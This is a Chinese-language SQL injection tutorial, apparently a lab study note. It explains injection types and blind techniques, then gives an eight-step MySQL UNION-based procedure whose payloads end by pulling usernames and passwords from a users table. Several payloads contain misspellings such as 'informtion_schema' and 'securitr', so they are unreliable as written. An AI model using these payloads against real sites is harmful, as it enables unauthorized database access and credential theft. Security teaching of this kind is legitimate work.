SQL注入
SQL注入原理:程序员在编写web代码的时候,没有对浏览器端提交的参数进行严格的过滤和判断,攻击者可以修改构造参数,提交SQL查询语句,从而实现与数据库交互,并从中获取数据库敏感信息。
与数据库交相关页面:http://www.xxx.com/xxx.asp?id=1 (asp注入)
http://www.xxx.com/xxx.php?id=1 (php注入)
http://www.xxx.com/xxx.jsp?id=1 (jsp注入)
如何web页面找SQL注入点:留言板、密码修改、注册地方、登入地方、更新的地方等。http头、cookices、user agent等地方。
说明:cookices 、user agent 头里面的信息存在数据库,从而产生与数据库交互。
SQL注入分类:数字型、字符型、搜索型(%vince% or 1=1) XX型(username=('XX')or 1=1)
SQL注入提交方式:get型(地址栏可以看见参数)、post型(通过burp suite 抓包)、cookie型(通过burp suite抓包)
SQL注入攻击支持类型:order by配合 union select语句使用
infoemation_schema注入(information_schema 是mysql5.0版本及以上的版本自带的数据库,里面包含了所有服务器里面的数据库的信息)
http header注入把http header直接带入数据库
盲注(布尔型、报错型、时间型)
SQL盲注型:布尔型注入:(通过猜测字段长度大于或者小于来对数据库名称字节范围确定,其中利用的函数是ascii):select ascii(substr(database(),1,1))>xx;
报错型注入:查看网页反馈结果,如果出现页面报错,则代表存在注入点
时间型注入:基于时间长短反馈结果显示,来确认是否为注入点(时间函数:sleep)
MYSQL1注入步骤:1、通过分号或and 1=1 and1=2来判断该位置是否存在注入点;
2、确认SQL注入点是属于数字型还是字符型,如果是字符型注入点,则需要在?id=1后面加个分号,如果是数字型则不加分号;
3、利用函数order by来判断数据库库名字段数个数:?id=1' order by 3 --+;
4、确定库名字段数个数后,配合union select 函数来确定库名字段数:?id=-1' union select 1,2,3 --+(需要注意一点此时id=-1,如果id=1为真则不会继续判断后面内容,只有id=-1是假才会继续判断后面内容)
5、页面显示字段数后,在利用查找语句union select 1,database(),version() 来确定数据库名和数据库版本信息(实验得出在security库中);
6、得出版本信息再利用查找函数获取当前所在数据库中的的所有表名:union select 1,(select group_concat(table_name) from informtion_schema.tables where table_schema='security'),3 --+;(其中得出数据库中有users表,函数group_concat把库中内容连接起来)
7、通过查询语句获取users表中的字段内容:union select 1,(select group_concat(column_name) from infoemtion_schema.column where table_name='users'),3 --+
8、最后获取字段users中的用户名和密码:union select 1,(select group_concat(password) from securitr.users),(select group_concat(username) from security.users) --+

浙公网安备 33010602011771号